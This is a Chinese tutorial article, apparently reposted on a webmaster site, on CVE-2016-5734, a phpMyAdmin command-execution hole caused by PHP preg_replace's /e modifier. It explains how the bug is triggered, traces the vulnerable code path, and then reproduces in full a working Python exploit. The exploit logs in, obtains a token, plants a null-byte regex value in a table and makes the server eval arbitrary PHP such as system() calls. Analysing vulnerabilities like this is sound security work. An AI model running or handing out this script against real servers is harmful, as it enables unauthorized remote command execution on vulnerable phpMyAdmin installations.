加入收藏 | 设为首页 | 会员中心 | 我要投稿 汽车网 (https://www.0577qiche.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

php preg_replace带来的phpmyadmin命令执行漏洞

发布时间:2023-09-25 14:49:14 所属栏目:PHP教程 来源:
导读:这里拿cve-2016-5734讲讲preg_replace引发的命令执行漏洞,漏洞在exploit-db上有利用脚本,经过测试没有问题。这里对这个漏洞进行一下回溯跟踪来解释下preg_replace这个正则替换函数带来的问题。

0x01 漏洞触发原
这里拿cve-2016-5734讲讲preg_replace引发的命令执行漏洞,漏洞在exploit-db上有利用脚本,经过测试没有问题。这里对这个漏洞进行一下回溯跟踪来解释下preg_replace这个正则替换函数带来的问题。

0x01 漏洞触发原理:

preg_replace漏洞触发有两个前提:

01:第一个参数需要e标识符,有了它可以执行第二个参数的命令。

02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令,举个例子:

echo preg_replace('/test/e', 'phpinfo()', 'just test');

这样是可以执行命令的:

echo preg_replace('/test/e', 'phpinfo()', 'just tesxt');

echo preg_replace('/tesxt/e', 'phpinfo()', 'just test');

这两种没有匹配上,所以返回值是第三个参数,不能执行命令.

0x02 触发漏洞位置回溯:

cve-2016-5734的漏洞问题出现在TableSearch.class.php中的_getRegexReplaceRows函数,让我们看看这个函数:

phpmyadmin_1

$find ,和 $replaceWith可以看到在preg_replace中被引用,让我们回溯这两个变量,在getReplacePreview中有调用_getRegexReplaceRows函数

phpmyadmin_2

继续回溯,在tbl_find_replace中有调用getReplacePreview,同时参数是post传入,下面让我们看看如何利用构造。

phpmyadmin_3

0x03 构造利用

漏洞利用思路:这个漏洞目前没法直接利用,因为有token限制,需要登陆抓到token,同时需要构造第三个参数保证和第一个参数匹配上,第一个参数可控,但是第三个参数是从数据库中取出的,所以只能提前插入到数据库中,然后再取出来,columnIndex是取出字段值的可控,所以第三个参数也可控了。

流程大概走了一圈,下面看看怎么构造,首先这个漏洞需要有创建表插入字段权限的账号,这里直接用的root账号测试的,先创建个表,然后表中插入个字段值为"0/e"

phpmyadmin_4

#!/usr/bin/env python 
 
# cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit 
# Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7. 
# CVE: CVE-2016-5734 
# Author: https://twitter.com/iamsecurity 
# run: ./cve-2016-5734.py -u root --pwd='' http://localhost/pma -c "system('ls -lua');" 
# https://www.exploit-db.com/exploits/40185/ 
 
import requests 
import argparse 
import sys 
 
__author__ = "@iamsecurity" 
 
if __name__ == '__main__': 
    parser = argparse.ArgumentParser() 
    parser.add_argument("url", type=str, help="URL with path to PMA") 
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()") 
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user") 
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user") 
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server") 
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.") 
    arguments = parser.parse_args() 
    url_to_pma = arguments.url 
    uname = arguments.user 
    upass = arguments.pwd 
    if arguments.dbs: 
        db = arguments.dbs 
    else: 
        db = "test" 
    token = False 
    custom_table = False 
    if arguments.table: 
        custom_table = True 
        table = arguments.table 
    else: 
        table = "prgpwn" 
    if arguments.cmd: 
        payload = arguments.cmd 
    else: 
        payload = "system('uname -a');" 
 
    size = 32 
    s = requests.Session() 
    # you can manually add proxy support it's very simple ;) 
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"} 
    s.verify = False 
    sql = '''CREATE TABLE `{0}` ( 
      `first` varchar(10) CHARACTER SET utf8 NOT NULL 
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500')); 
    '''.format(table) 
 
    # get_token 
    resp = s.post(url_to_pma + "/?lang=en", dict( 
        pma_username=uname, 
        pma_password=upass 
    )) 
    if resp.status_code is 200: 
        token_place = resp.text.find("token=") + 6 
        token = resp.text[token_place:token_place + 32] 
    if token is False: 
        print("Cannot get valid authorization token.") 
        sys.exit(1) 
 
    if custom_table is False: 
        data = { 
            "is_js_confirmed": "0", 
            "db": db, 
            "token": token, 
            "pos": "0", 
            "sql_query": sql, 
            "sql_delimiter": ";", 
            "show_query": "0", 
            "fk_checks": "0", 
            "SQL": "Go", 
            "ajax_request": "true", 
            "ajax_page_request": "true", 
        } 
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies)) 
        if resp.status_code == 200: 
            if "success" in resp.json(): 
                if resp.json()["success"] is False: 
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:] 
                    error = first[:first.find("</code>")] 
                    if "already exists" in error: 
                        print(error) 
                    else: 
                        print("ERROR: " + error) 
                        sys.exit(1) 
    # build exploit 
    exploit = { 
        "db": db, 
        "table": table, 
        "token": token, 
        "goto": "sql.php", 
        "find": "0/e/0", 
        "replaceWith": payload, 
        "columnIndex": "0", 
        "useRegex": "on", 
        "submit": "Go", 
        "ajax_request": "true" 
    } 
    resp = s.post( 
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies) 
    ) 
    if resp.status_code == 200: 
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:] 
        if len(result): 
            print("result: " + result) 
            sys.exit(0) 
        print( 
            "Exploit failed!/n" 
            "Try to manually set exploit parameters like --table, --database and --token./n" 
            "Remember that servers with PHP version greater than 5.4.6" 
            " is not exploitable, because of warning about null byte in regexp" 
        ) 
        sys.exit(1) 
 

(编辑:汽车网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章